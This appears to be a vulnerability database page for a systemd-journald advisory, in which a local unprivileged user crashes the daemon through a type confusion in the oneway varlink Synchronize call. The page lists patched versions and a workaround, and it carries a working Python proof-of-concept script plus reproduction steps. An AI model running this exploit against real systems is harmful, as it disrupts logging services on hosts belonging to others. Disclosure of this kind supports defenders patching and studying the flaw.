Local user can crash systemd-journald through varlink IPC calls
Key facts
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-4c2v-mg7r-xhpw. Fix status from GitHub.
Summary
systemd-journald in systemd, with a last known affected version of 258 or later, mishandles connection state after a oneway Synchronize varlink call. The daemon swaps the connection's userdata to an incompatible object type (CWE-843) and then reads it as the wrong type, so the daemon crashes. A local unprivileged user can trigger the crash by sending crafted calls to the journald varlink socket. The impact is a denial of service that the record rates as low severity, and journald restarts automatically after the crash.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Impact systemd-journald crashes when an unprivileged IPC API call is made with spurious data: ``` #!/usr/bin/env python3 import socket, os, sys, time RT = sys.argv[1] if len(sys.argv) > 1 else "/run/systemd/journal" N = int(sys.argv[2]) if len(sys.argv) > 2 else 2 # 2 = smallest reliable plant count # 1) Plant N un-accepted connections on the stdout listener so the SyncReq stays pending. planted = [] for _ in range(N): try: c = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) c.connect(os.path.join(RT, "stdout")) planted.append(c) except OSError: break print(f"planted {len(planted)} stdout connections") # 2) On ONE varlink connection, pipeline a oneway Synchronize then a normal Synchronize. s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect(os.path.join(RT, "io.systemd.journal")) payload = ( b'{"method":"io.systemd.Journal.Synchronize","parameters":{"offline":false},"oneway":true}\x00' b'{"method":"io.systemd.Journal.Synchronize","parameters":{"offline":false}}\x00' ) s.sendall(payload) time.sleep(0.3) # The second dispatch reads the polluted SyncReq* as Manager* -> journald crashes. try: s.settimeout(1) print("reply:", s.recv(200)[:120]) except OSError as e: print("no reply (journald likely crashed):", e) ``` Note that journald automatically restarts on such errors, so impact is minimal if any. ### Patches v262 (https://github.com/systemd/systemd/commit/c2806a8c1d6b775fb73516ef62b9f66e7cc00310 https://github.com/systemd/systemd/commit/8c321be1fbd641ac762866f1f3138624554fa6de) v261.3 (https://github.com/systemd/systemd/commit/a6341fc46665409345a9e5bcb0d41bce75b908a4 https://github.com/systemd/systemd/commit/fd60d63b8b7daa1e1ea7890deb82b2fea5981106) v260.5 (https://github.com/systemd/systemd/commit/a70db97eef94eab9e092812e6b36bc6c5014015f https://github.com/systemd/systemd/commit/00866b198a16acd75e64fb0f22fda6d923b9443f) v259.9 (https://github.com/systemd/systemd/commit/ffcde77b082a959fb8b767653c7926f436c1eb4e https://github.com/systemd/systemd/commit/f14eb479d1410a438144c0c8801c8d1bd507d16c) v258.11 (https://github.com/systemd/systemd/commit/dba68f09dd68c8b448ecdaa783648f7ff6359b24 https://github.com/systemd/systemd/commit/04e6c84ace630998568785183f915a98f47edac2) ### Workarounds Change the access control of the varlink socket `/run/systemd/journal/io.systemd.journal` so that it is only accessible to root ### References Original report follows **Claim.** An unprivileged local user can crash the root-owned `systemd-journald` daemon. `vl_method_synchronize()` lacks the `SD_VARLINK_METHOD_ONEWAY` guard that `resolved-varlink.c` applies. On a *oneway* `Synchronize` the connection returns to idle immediately, but the handler has already swapped the connection userdata from `Manager*` to `SyncReq*` (`sd_varlink_set_userdata(link, sr)`) and deferred completion; when the SyncReq cannot complete synchronously, the polluted `SyncReq*` userdata survives, and the next method dispatched on the same connection enters its handler with `Manager *m = ASSERT_PTR(userdata)` where `userdata` is actually a `SyncReq*`. `sync_req_new()` then runs against the confused pointer and journald aborts (CWE-843 type confusion → heap-buffer-overflow). **Sink (file:line at HEAD `5a80137a`).** - `src/journal/journald-varlink.c` — `vl_method_synchronize()` (`journald-varlink.c:72`), missing-guard site at the method entry (`journald-varlink.c:35`). No `if (FLAGS_SET(flags, SD_VARLINK_METHOD_ONEWAY)) return -EINVAL;` guard, in contrast to `src/resolve/resolved-varlink.c`, which carries that guard. The entry reads `Manager *m = ASSERT_PTR(userdata);`, then later `sd_varlink_set_userdata(link, sr);` swaps userdata to a `SyncReq*` and `sync_req_revalidate()` defers completion. - `src/journal/journald-sync.c` — `sync_req_new()` (`journald-sync.c:247`). - `src/basic/prioq.c` — `prioq_ensure_allocated()` (`prioq.c:57`), where the confused pointer is dereferenced. **Attacker + trust boundary.** Any local user — the journald varlink socket (`io.systemd.journal`) is mode 0666. Boundary: `local_unpriv_to_root_daemon` (systemd `docs/SECURITY.md`). **Exact observable.** AddressSanitizer: **heap-buffer-overflow READ of size 8** at `src/basic/prioq.c:57` (`prioq_ensure_allocated`), reached via `sync_req_new` (`journald-sync.c:247`) ← `vl_method_synchronize` (`journald-varlink.c:72`) ← Varlink dispatch. journald `Aborted (core dumped)` — SIGABRT. The faulting address is 528 bytes to the right of an 88-byte region, i.e. the `SyncReq*`-read-as-`Manager*` confusion. Reproduced at HEAD `5a80137a`, ASan build, SIGABRT. **Minimal reproduction.** Against a real, unmodified `systemd-journald` at HEAD (ASan build, running in an ephemeral journal namespace that exposes `io.systemd.journal` at mode 0666 plus its `stdout` listener), acting as an unprivileged user (uid 1001): 1. *Positive control:* Send an ordinary (non-oneway) `Synchronize` → journald replies `{}` and stays alive. 2. *Attack:* Plant a batch of un-accepted connections on the `stdout` listener (so a `Synchronize` cannot complete synchronously), then send pipelined **oneway** `Synchronize` calls followed by a follow-up method on the same connection → journald aborts on the first attempt with the ASan heap-buffer-overflow above. The positive control is the discriminator: the identical non-oneway call returns `{}` and journald lives; only the oneway variant drives the type confusion into a heap-buffer-overflow and aborts the daemon. **Concrete fix.** Add `if (FLAGS_SET(flags, SD_VARLINK_METHOD_ONEWAY)) return -EINVAL;` at the top of `vl_method_synchronize()`, matching the `resolved-varlink.c` pattern, so a oneway `Synchronize` is rejected before any userdata swap.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | systemd-journald (systemd) | >= 258 | 262 261.3 260.5 259.9 258.11 | Patch available | GHSA-4c2v-mg7r-xhpw |
- systemd-journald (systemd) Vendor— Affected >= 258 Fixed in 262 261.3 260.5 259.9 258.11 Patch available GHSA-4c2v-mg7r-xhpw
Remediation
Upgrade systemd-journald to version 262, 261.3, 260.5, 259.9 or 258.11, or a later release of the same branch. As a workaround, restrict access to the varlink socket /run/systemd/journal/io.systemd.journal so only root can use it.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-4c2v-mg7r-xhpw systemd-journald (systemd) Fixed in 262 261.3 260.5 259.9 258.11 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-4c2v-mg7r-xhpw
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences